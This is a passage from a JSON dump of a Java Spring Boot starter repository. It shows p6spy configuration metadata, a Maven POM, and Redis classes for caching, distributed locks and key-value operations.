\"p6spy.config.realdatasource\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# DataSource replacement                                        #     #                                                               #     # Replace the real DataSource class in your application server  #     # configuration with the name com.p6spy.engine.spy.P6DataSource #     # (that provides also connection pooling and xa support).       #     # then add the JNDI name and class name of the real             #     # DataSource here                                               #     #                                                               #     # Values set in this item cannot be reloaded using the          #     # reloadproperties variable. Once it is loaded, it remains      #     # in memory until the application is restarted.                 #     #                                                               #     #################################################################     #realdatasource=\\/RealMySqlDS\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.realdatasourceclass\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"#realdatasourceclass=com.mysql.jdbc.jdbc2.optional.MysqlDataSource\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.realdatasourceproperties\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# DataSource properties                                         #     #                                                               #     # If you are using the DataSource support to intercept calls    #     # to a DataSource that requires properties for proper setup,    #     # define those properties here. Use name value pairs, separate  #     # the name and value with a semicolon, and separate the         #     # pairs with commas.                                            #     #                                                               #     # The example shown here is for mysql                           #     #                                                               #     #################################################################     #realdatasourceproperties=port;3306,serverName;myhost,databaseName;jbossdb,foo;bar\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.reloadproperties\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# determines if property file should be reloaded     # Please note: reload means forgetting all the previously set     # settings (even those set during runtime - via JMX)     # and starting with the clean table     # (default is false)     #reloadproperties=false\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.reloadpropertiesinterval\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# determines how often should be reloaded in seconds     # (default is 60)     #reloadpropertiesinterval=60\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.stacktrace\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# prints a stack trace for every statement logged\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    },\n    {\n      \"name\": \"p6spy.config.stacktraceclass\",\n      \"type\": \"java.lang.String\",\n      \"description\": \"# if stacktrace=true, specifies the stack trace to print\",\n      \"sourceType\": \"com.github.klboke.springboot.autoconfigure.p6spy.P6spyProperties\"\n    }\n  ],\n  \"hints\": []\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-p6spy-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.github.klboke.springboot.autoconfigure.p6spy.P6spyAutoConfiguration\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-redis-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>redis通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <redisson.version>3.16.1</redisson.version>\n        <commons-io.version>2.7</commons-io.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.redisson</groupId>\n            <artifactId>redisson-spring-boot-starter</artifactId>\n            <version>${redisson.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>${commons-io.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>${mica-auto.version}</version>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/RedisAutoConfigure.java",
    "content": "package io.github.wujun728.common.redis;\n\nimport io.github.wujun728.common.redis.properties.CacheManagerProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.cache.interceptor.KeyGenerator;\nimport org.springframework.boot.autoconfigure.data.redis.RedisProperties;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.cache.CacheManager;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Primary;\nimport org.springframework.data.redis.cache.RedisCacheConfiguration;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.*;\n\nimport java.time.Duration;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * redis 配置类\n *\n */\n@EnableConfigurationProperties({RedisProperties.class, CacheManagerProperties.class})\n@EnableCaching\npublic class RedisAutoConfigure {\n    @Autowired\n    private CacheManagerProperties cacheManagerProperties;\n\n    @Bean\n    public RedisSerializer<String> redisKeySerializer() {\n        return RedisSerializer.string();\n    }\n\n    @Bean\n    public RedisSerializer<Object> redisValueSerializer() {\n        return RedisSerializer.json();\n    }\n\n    /**\n     * RedisTemplate配置\n     * @param factory\n     */\n    @Bean\n    public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory\n            , RedisSerializer<String> redisKeySerializer, RedisSerializer<Object> redisValueSerializer) {\n        RedisTemplate<String, Object> redisTemplate = new RedisTemplate<>();\n        redisTemplate.setConnectionFactory(factory);\n\n        redisTemplate.setDefaultSerializer(redisValueSerializer);\n        redisTemplate.setKeySerializer(redisKeySerializer);\n        redisTemplate.setHashKeySerializer(redisKeySerializer);\n        redisTemplate.afterPropertiesSet();\n        return redisTemplate;\n    }\n\n    @Bean(name = \"cacheManager\")\n    @Primary\n    public CacheManager cacheManager(RedisConnectionFactory redisConnectionFactory\n            , RedisSerializer<String> redisKeySerializer, RedisSerializer<Object> redisValueSerializer) {\n        RedisCacheConfiguration difConf = getDefConf(redisKeySerializer, redisValueSerializer).entryTtl(Duration.ofHours(1));\n\n        //自定义的缓存过期时间配置\n        int configSize = cacheManagerProperties.getConfigs() == null ? 0 : cacheManagerProperties.getConfigs().size();\n        Map<String, RedisCacheConfiguration> redisCacheConfigurationMap = new HashMap<>(configSize);\n        if (configSize > 0) {\n            cacheManagerProperties.getConfigs().forEach(e -> {\n                RedisCacheConfiguration conf = getDefConf(redisKeySerializer, redisValueSerializer).entryTtl(Duration.ofSeconds(e.getSecond()));\n                redisCacheConfigurationMap.put(e.getKey(), conf);\n            });\n        }\n\n        return RedisCacheManager.builder(redisConnectionFactory)\n                .cacheDefaults(difConf)\n                .withInitialCacheConfigurations(redisCacheConfigurationMap)\n                .build();\n    }\n\n    @Bean\n    public KeyGenerator keyGenerator() {\n        return (target, method, objects) -> {\n            StringBuilder sb = new StringBuilder();\n            sb.append(target.getClass().getName());\n            sb.append(\":\" + method.getName() + \":\");\n            for (Object obj : objects) {\n                sb.append(obj.toString());\n            }\n            return sb.toString();\n        };\n    }\n\n    private RedisCacheConfiguration getDefConf(RedisSerializer<String> redisKeySerializer, RedisSerializer<Object> redisValueSerializer) {\n        return RedisCacheConfiguration.defaultCacheConfig()\n                .disableCachingNullValues()\n                .computePrefixWith(cacheName -> \"cache\".concat(\":\").concat(cacheName).concat(\":\"))\n                .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(redisKeySerializer))\n                .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(redisValueSerializer));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/constant/RedisToolsConstant.java",
    "content": "package io.github.wujun728.common.redis.constant;\n\n/**\n * redis 工具常量\n *\n */\npublic class RedisToolsConstant {\n    private RedisToolsConstant() {\n        throw new IllegalStateException(\"Utility class\");\n    }\n    /**\n     * single Redis\n     */\n    public final static int SINGLE = 1 ;\n\n    /**\n     * Redis cluster\n     */\n    public final static int CLUSTER = 2 ;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/lock/RedisDistributedLock.java",
    "content": "package io.github.wujun728.common.redis.lock;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.data.redis.connection.RedisStringCommands;\nimport org.springframework.data.redis.connection.ReturnType;\nimport org.springframework.data.redis.core.RedisCallback;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.types.Expiration;\n\nimport java.util.UUID;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * redis分布式锁实现\n *\n * @deprecated 建议使用Redisson的实现方式 {@link RedissonDistributedLock}\n */\n@Slf4j\n@ConditionalOnClass(RedisTemplate.class)\n@Deprecated\npublic class RedisDistributedLock {\n    @Autowired\n    private RedisTemplate<String, Object> redisTemplate;\n\n    private ThreadLocal<String> lockFlag = new ThreadLocal<>();\n\n    private static final String UNLOCK_LUA;\n\n    /*\n     * 通过lua脚本释放锁,来达到释放锁的原子操作\n     */\n    static {\n        UNLOCK_LUA = \"if redis.call(\\\"get\\\",KEYS[1]) == ARGV[1] \" +\n                \"then \" +\n                \"    return redis.call(\\\"del\\\",KEYS[1]) \" +\n                \"else \" +\n                \"    return 0 \" +\n                \"end \";\n    }\n\n    public RedisDistributedLock(RedisTemplate<String, Object> redisTemplate) {\n        super();\n        this.redisTemplate = redisTemplate;\n    }\n\n    /**\n     * 获取锁\n     *\n     * @param key 锁的key\n     * @param expire 获取锁超时时间\n     * @param retryTimes 重试次数\n     * @param sleepMillis 获取锁失败的重试间隔\n     * @return 成功/失败\n     */\n    public boolean lock(String key, long expire, int retryTimes, long sleepMillis) {\n        boolean result = setRedis(key, expire);\n        // 如果获取锁失败，按照传入的重试次数进行重试\n        while ((!result) && retryTimes-- > 0) {\n            try {\n                log.debug(\"get redisDistributeLock failed, retrying...\" + retryTimes);\n                Thread.sleep(sleepMillis);\n            } catch (InterruptedException e) {\n                log.warn(\"Interrupted!\", e);\n                Thread.currentThread().interrupt();\n            }\n            result = setRedis(key, expire);\n        }\n        return result;\n    }\n\n    private boolean setRedis(final String key, final long expire) {\n        try {\n            boolean status = redisTemplate.execute((RedisCallback<Boolean>) connection -> {\n                String uuid = UUID.randomUUID().toString();\n                lockFlag.set(uuid);\n                byte[] keyByte = redisTemplate.getStringSerializer().serialize(key);\n                byte[] uuidByte = redisTemplate.getStringSerializer().serialize(uuid);\n                boolean result = connection.set(keyByte, uuidByte, Expiration.from(expire, TimeUnit.MILLISECONDS), RedisStringCommands.SetOption.ifAbsent());\n                return result;\n            });\n            return status;\n        } catch (Exception e) {\n            log.error(\"set redisDistributeLock occured an exception\", e);\n        }\n        return false;\n    }\n\n    /**\n     * 释放锁\n     * @param key 锁的key\n     * @return 成功/失败\n     */\n    public boolean releaseLock(String key) {\n        // 释放锁的时候，有可能因为持锁之后方法执行时间大于锁的有效期，此时有可能已经被另外一个线程持有锁，所以不能直接删除\n        try {\n            // 使用lua脚本删除redis中匹配value的key，可以避免由于方法执行时间过长而redis锁自动过期失效的时候误删其他线程的锁\n            // spring自带的执行脚本方法中，集群模式直接抛出不支持执行脚本的异常，所以只能拿到原redis的connection来执行脚本\n            Boolean result = redisTemplate.execute((RedisCallback<Boolean>) connection -> {\n                byte[] scriptByte = redisTemplate.getStringSerializer().serialize(UNLOCK_LUA);\n                return connection.eval(scriptByte,  ReturnType.BOOLEAN, 1\n                        , redisTemplate.getStringSerializer().serialize(key)\n                        , redisTemplate.getStringSerializer().serialize(lockFlag.get()));\n            });\n            return result;\n        } catch (Exception e) {\n            log.error(\"release redisDistributeLock occured an exception\", e);\n        } finally {\n            lockFlag.remove();\n        }\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/lock/RedissonDistributedLock.java",
    "content": "package io.github.wujun728.common.redis.lock;\n\nimport io.github.wujun728.common.constant.CommonConstant;\nimport io.github.wujun728.common.exception.LockException;\nimport io.github.wujun728.common.lock.DistributedLock;\nimport io.github.wujun728.common.lock.ZLock;\nimport org.redisson.api.RLock;\nimport org.redisson.api.RedissonClient;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * redisson分布式锁实现，基本锁功能的抽象实现\n * 本接口能满足绝大部分的需求，高级的锁功能，请自行扩展或直接使用原生api\n * https://gitbook.cn/gitchat/activity/5f02746f34b17609e14c7d5a\n *\n */\n@ConditionalOnClass(RedissonClient.class)\n@ConditionalOnProperty(prefix = \"jun.lock\", name = \"lockerType\", havingValue = \"REDIS\", matchIfMissing = true)\npublic class RedissonDistributedLock implements DistributedLock {\n    @Autowired\n    private RedissonClient redisson;\n\n    private ZLock getLock(String key, boolean isFair) {\n        RLock lock;\n        if (isFair) {\n            lock = redisson.getFairLock(CommonConstant.LOCK_KEY_PREFIX + \":\" + key);\n        } else {\n            lock =  redisson.getLock(CommonConstant.LOCK_KEY_PREFIX + \":\" + key);\n        }\n        return new ZLock(lock, this);\n    }\n\n    @Override\n    public ZLock lock(String key, long leaseTime, TimeUnit unit, boolean isFair) {\n        ZLock zLock = getLock(key, isFair);\n        RLock lock = (RLock)zLock.getLock();\n        lock.lock(leaseTime, unit);\n        return zLock;\n    }\n\n    @Override\n    public ZLock tryLock(String key, long waitTime, long leaseTime, TimeUnit unit, boolean isFair) throws InterruptedException {\n        ZLock zLock = getLock(key, isFair);\n        RLock lock = (RLock)zLock.getLock();\n        if (lock.tryLock(waitTime, leaseTime, unit)) {\n            return zLock;\n        }\n        return null;\n    }\n\n    @Override\n    public void unlock(Object lock) {\n        if (lock != null) {\n            if (lock instanceof RLock) {\n                RLock rLock = (RLock)lock;\n                if (rLock.isLocked()) {\n                    rLock.unlock();\n                }\n            } else {\n                throw new LockException(\"requires RLock type\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/properties/CacheManagerProperties.java",
    "content": "package io.github.wujun728.common.redis.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\nimport java.util.List;\n\n/**\n */\n@Setter\n@Getter\n@ConfigurationProperties(prefix = \"jun.cache-manager\")\npublic class CacheManagerProperties {\n    private List<CacheConfig> configs;\n\n    @Setter\n    @Getter\n    public static class CacheConfig {\n        /**\n         * cache key\n         */\n        private String key;\n        /**\n         * 过期时间，sec\n         */\n        private long second = 60;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/service/RedisService.java",
    "content": "package io.github.wujun728.common.redis.service;\n\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.common.exception.code.BaseResponseCode;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * redis\n *\n * @version V1.0\n * @date 2020年3月18日\n */\n@Service\npublic class RedisService {\n    private final StringRedisTemplate redisTemplate;\n\n    public StringRedisTemplate getRedisTemplate() {\n\t\treturn redisTemplate;\n\t}\n\n\tpublic RedisService(StringRedisTemplate redisTemplate) {\n        this.redisTemplate = redisTemplate;\n    }\n\n    public boolean exists(String key) {\n        return this.redisTemplate.hasKey(key);\n    }\n\n    public Long getExpire(String key) {\n        if (null == key) {\n            throw new BusinessException(BaseResponseCode.DATA_ERROR.getCode(), \"key or TomeUnit 不能为空\");\n        }\n        return redisTemplate.getExpire(key, TimeUnit.SECONDS);\n    }\n\n\n    public void set(String key, String value) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, 60*60*24*7, TimeUnit.SECONDS);\n    }\n\n\n    public String get(String key) {\n        return this.redisTemplate.opsForValue().get(key);\n    }\n\n    public void del(String key) {\n        if (this.exists(key)) {\n            this.redisTemplate.delete(key);\n        }\n\n    }\n\n    public void setAndExpire(String key, String value, long seconds) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, seconds, TimeUnit.SECONDS);\n    }\n//    public void setAndExpire(String key, String value, long seconds,TimeUnit timeUnit) {\n//        this.redisTemplate.opsForValue().set(key, value);\n//        this.redisTemplate.expire(key, seconds, timeUnit);\n//    }\n\n\n    public Set<String> keys(String pattern) {\n        return redisTemplate.keys(\"*\" + pattern);\n    }\n\n    public void delKeys(String pattern) {\n        Set<String> keys = redisTemplate.keys(pattern);\n        if (!CollectionUtils.isEmpty(keys)) {\n            this.redisTemplate.delete(keys);\n        }\n    }\n\n    public void expire(String key,  long seconds) {\n        this.redisTemplate.expire(key, seconds, TimeUnit.SECONDS);\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-redis-spring-boot-starter/src/main/java/io/github/wujun728/common/redis/template/RedisRepository.java",
    "content": "package io.github.wujun728.common.redis.template;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.data.redis.connection.RedisClusterNode;\nimport org.springframework.data.redis.connection.RedisConnection;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.connection.RedisServerCommands;\nimport org.springframework.data.redis.core.*;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.serializer.SerializationUtils;\nimport org.springframework.util.Assert;\n\nimport java.util.*;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Redis Repository\n * redis 基本操作 可扩展,基本够用了\n *\n */\n@Slf4j\npublic class RedisRepository {\n    /**\n     * Spring Redis Template\n     */\n    private RedisTemplate<String, Object> redisTemplate;\n\n    public RedisRepository(RedisTemplate<String, Object> redisTemplate) {\n        this.redisTemplate = redisTemplate;\n    }\n\n    /**\n     * 获取链接工厂\n     */\n    public RedisConnectionFactory getConnectionFactory() {\n        return this.redisTemplate.getConnectionFactory();\n    }\n\n    /**\n     * 获取 RedisTemplate对象\n     */\n    public RedisTemplate<String, Object> getRedisTemplate() {\n        return redisTemplate;\n    }\n\n    /**\n     * 清空DB\n     *\n     * @param node redis 节点\n     */\n    public void flushDB(RedisClusterNode node) {\n        this.redisTemplate.opsForCluster().flushDb(node);\n    }\n\n    /**\n     * 添加到带有 过期时间的  缓存\n     *\n     * @param key   redis主键\n     * @param value 值\n     * @param time  过期时间(单位秒)\n     */\n    public void setExpire(final byte[] key, final byte[] value, final long time) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            connection.setEx(key, time, value);\n            return 1L;\n        });\n    }\n\n    /**\n     * 添加到带有 过期时间的  缓存\n     *\n     * @param key   redis主键\n     * @param value 值\n     * @param time  过期时间\n     * @param timeUnit  过期时间单位\n     */\n    public void setExpire(final String key, final Object value, final long time, final TimeUnit timeUnit) {\n        redisTemplate.opsForValue().set(key, value, time, timeUnit);\n    }\n    public void setExpire(final String key, final Object value, final long time) {\n        this.setExpire(key, value, time, TimeUnit.SECONDS);\n    }\n    public void setExpire(final String key, final Object value, final long time, final TimeUnit timeUnit, RedisSerializer<Object> valueSerializer) {\n        byte[] rawKey = rawKey(key);\n        byte[] rawValue = rawValue(value, valueSerializer);\n\n        redisTemplate.execute(new RedisCallback<Object>() {\n            @Override\n            public Object doInRedis(RedisConnection connection) throws DataAccessException {\n                potentiallyUsePsetEx(connection);\n                return null;\n            }\n            public void potentiallyUsePsetEx(RedisConnection connection) {\n                if (!TimeUnit.MILLISECONDS.equals(timeUnit) || !failsafeInvokePsetEx(connection)) {\n                    connection.setEx(rawKey, TimeoutUtils.toSeconds(time, timeUnit), rawValue);\n                }\n            }\n            private boolean failsafeInvokePsetEx(RedisConnection connection) {\n                boolean failed = false;\n                try {\n                    connection.pSetEx(rawKey, time, rawValue);\n                } catch (UnsupportedOperationException e) {\n                    failed = true;\n                }\n                return !failed;\n            }\n        }, true);\n    }\n\n    /**\n     * 一次性添加数组到   过期时间的  缓存，不用多次连接，节省开销\n     *\n     * @param keys   redis主键数组\n     * @param values 值数组\n     * @param time   过期时间(单位秒)\n     */\n    public void setExpire(final String[] keys, final Object[] values, final long time) {\n        for (int i = 0; i < keys.length; i++) {\n            redisTemplate.opsForValue().set(keys[i], values[i], time, TimeUnit.SECONDS);\n        }\n    }\n\n\n    /**\n     * 一次性添加数组到   过期时间的  缓存，不用多次连接，节省开销\n     *\n     * @param keys   the keys\n     * @param values the values\n     */\n    public void set(final String[] keys, final Object[] values) {\n        for (int i = 0; i < keys.length; i++) {\n            redisTemplate.opsForValue().set(keys[i], values[i]);\n        }\n    }\n\n\n    /**\n     * 添加到缓存\n     *\n     * @param key   the key\n     * @param value the value\n     */\n    public void set(final String key, final Object value) {\n        redisTemplate.opsForValue().set(key, value);\n    }\n\n    /**\n     * 查询在以keyPatten的所有  key\n     *\n     * @param keyPatten the key patten\n     * @return the set\n     */\n    public Set<String> keys(final String keyPatten) {\n        return redisTemplate.keys(keyPatten + \"*\");\n    }\n\n    /**\n     * 根据key获取对象\n     *\n     * @param key the key\n     * @return the byte [ ]\n     */\n    public byte[] get(final byte[] key) {\n        return redisTemplate.execute((RedisCallback<byte[]>) connection -> connection.get(key));\n    }\n\n    /**\n     * 根据key获取对象\n     *\n     * @param key the key\n     * @return the string\n     */\n    public Object get(final String key) {\n        return redisTemplate.opsForValue().get(key);\n    }\n\n    /**\n     *获取原来key键对应的值并重新赋新值。\n     * @param key\n     * @param value\n     * @return\n     */\n    public String getAndSet(final String key,String value) {\n        String result = null;\n        if (StringUtils.isEmpty(key)){\n            log.error(\"非法入参\");\n            return null;\n        }\n        try {\n            Object object =redisTemplate.opsForValue().getAndSet(key, value);\n            if (object !=null){\n                result = object.toString();\n            }\n        }catch (Exception e){\n            log.error(\"redisTemplate操作异常\",e);\n        }\n        return result;\n    }\n    /**\n     * 根据key获取对象\n     *\n     * @param key the key\n     * @param valueSerializer 序列化\n     * @return the string\n     */\n    public Object get(final String key, RedisSerializer<Object> valueSerializer) {\n        byte[] rawKey = rawKey(key);\n        return redisTemplate.execute(connection -> deserializeValue(connection.get(rawKey), valueSerializer), true);\n    }\n\n\n    /**\n     * Ops for hash hash operations.\n     *\n     * @return the hash operations\n     */\n    public HashOperations<String, String, Object> opsForHash() {\n        return redisTemplate.opsForHash();\n    }\n\n    /**\n     * 对HashMap操作\n     *\n     * @param key       the key\n     * @param hashKey   the hash key\n     * @param hashValue the hash value\n     */\n    public void putHashValue(String key, String hashKey, Object hashValue) {\n        opsForHash().put(key, hashKey, hashValue);\n    }\n\n    /**\n     * 获取单个field对应的值\n     *\n     * @param key     the key\n     * @param hashKey the hash key\n     * @return the hash values\n     */\n    public Object getHashValues(String key, String hashKey) {\n        return opsForHash().get(key, hashKey);\n    }\n\n    /**\n     * 根据key值删除\n     *\n     * @param key      the key\n     * @param hashKeys the hash keys\n     */\n    public void delHashValues(String key, Object... hashKeys) {\n        opsForHash().delete(key, hashKeys);\n    }\n\n    /**\n     * key只匹配map\n     *\n     * @param key the key\n     * @return the hash value\n     */\n    public Map<String, Object> getHashValue(String key) {\n        return opsForHash().entries(key);\n    }\n\n    /**\n     * 批量添加\n     *\n     * @param key the key\n     * @param map the map\n     */\n    public void putHashValues(String key, Map<String, Object> map) {\n        opsForHash().putAll(key, map);\n    }\n\n    /**\n     * 集合数量\n     *\n     * @return the long\n     */\n    public long dbSize() {\n        return redisTemplate.execute(RedisServerCommands::dbSize);\n    }\n\n    /**\n     * 清空redis存储的数据\n     *\n     * @return the string\n     */\n    public String flushDB() {\n        return redisTemplate.execute((RedisCallback<String>) connection -> {\n            connection.flushDb();\n            return \"ok\";\n        });\n    }\n\n    /**\n     * 判断某个主键是否存在\n     *\n     * @param key the key\n     * @return the boolean\n     */\n    public boolean exists(final String key) {\n        return redisTemplate.hasKey(key);\n    }\n\n\n    /**\n     * 删除key\n     *\n     * @param keys the keys\n     * @return the long\n     */\n    public boolean del(final String... keys) {\n        boolean result = false;\n        for (String key : keys) {\n            result = redisTemplate.delete(key);\n        }\n        return result;\n    }\n\n    /**\n     * 对某个主键对应的值加一,value值必须是全数字的字符串\n     *\n     * @param key the key\n     * @return the long\n     */\n    public long incr(final String key) {\n        return redisTemplate.opsForValue().increment(key);\n    }\n\n    /**\n     * redis List 引擎\n     *\n     * @return the list operations\n     */\n    public ListOperations<String, Object> opsForList() {\n        return redisTemplate.opsForList();\n    }\n\n    /**\n     * redis List数据结构 : 将一个或多个值 value 插入到列表 key 的表头\n     *\n     * @param key   the key\n     * @param value the value\n     * @return the long\n     */\n    public Long leftPush(String key, Object value) {\n        return opsForList().leftPush(key, value);\n    }\n\n    /**\n     * redis List数据结构 : 移除并返回列表 key 的头元素\n     *\n     * @param key the key\n     * @return the string\n     */\n    public Object leftPop(String key) {\n        return opsForList().leftPop(key);\n    }\n\n    /**\n     * redis List数据结构 :将一个或多个值 value 插入到列表 key 的表尾(最右边)。\n     *\n     * @param key   the key\n     * @param value the value\n     * @return the long\n     */\n    public Long in(String key, Object value) {\n        return opsForList().rightPush(key, value);\n    }\n\n    /**\n     * redis List数据结构 : 移除并返回列表 key 的末尾元素\n     *\n     * @param key the key\n     * @return the string\n     */\n    public Object rightPop(String key) {\n        return opsForList().rightPop(key);\n    }\n\n\n    /**\n     * redis List数据结构 : 返回列表 key 的长度 ; 如果 key 不存在，则 key 被解释为一个空列表，返回 0 ; 如果 key 不是列表类型，返回一个错误。\n     *\n     * @param key the key\n     * @return the long\n     */\n    public Long length(String key) {\n        return opsForList().size(key);\n    }\n\n\n    /**\n     * redis List数据结构 : 根据参数 i 的值，移除列表中与参数 value 相等的元素\n     *\n     * @param key   the key\n     * @param i     the\n     * @param value the value\n     */\n    public void remove(String key, long i, Object value) {\n        opsForList().remove(key, i, value);\n    }\n\n    /**\n     * redis List数据结构 : 将列表 key 下标为 index 的元素的值设置为 value\n     *\n     * @param key   the key\n     * @param index the index\n     * @param value the value\n     */\n    public void set(String key, long index, Object value) {\n        opsForList().set(key, index, value);\n    }\n\n    /**\n     * redis List数据结构 : 返回列表 key 中指定区间内的元素，区间以偏移量 start 和 end 指定。\n     *\n     * @param key   the key\n     * @param start the start\n     * @param end   the end\n     * @return the list\n     */\n    public List<Object> getList(String key, int start, int end) {\n        return opsForList().range(key, start, end);\n    }\n\n    /**\n     * redis List数据结构 : 返回列表 key 中指定区间内的元素，区间以偏移量 start 和 end 指定。\n     *\n     * @param key   the key\n     * @param start the start\n     * @param end   the end\n     * @param valueSerializer 序列化\n     * @return the list\n     */\n    public List<Object> getList(String key, int start, int end, RedisSerializer<Object> valueSerializer) {\n        byte[] rawKey = rawKey(key);\n        return redisTemplate.execute(connection -> deserializeValues(connection.lRange(rawKey, start, end), valueSerializer), true);\n    }\n\n    /**\n     * redis List数据结构 : 批量存储\n     *\n     * @param key  the key\n     * @param list the list\n     * @return the long\n     */\n    public Long leftPushAll(String key, List<String> list) {\n        return opsForList().leftPushAll(key, list);\n    }\n\n    /**\n     * redis List数据结构 : 将值 value 插入到列表 key 当中，位于值 index 之前或之后,默认之后。\n     *\n     * @param key   the key\n     * @param index the index\n     * @param value the value\n     */\n    public void insert(String key, long index, Object value) {\n        opsForList().set(key, index, value);\n    }\n\n    private byte[] rawKey(Object key) {\n        Assert.notNull(key, \"non null key required\");\n\n        if (key instanceof byte[]) {\n            return (byte[]) key;\n        }\n        RedisSerializer<Object> 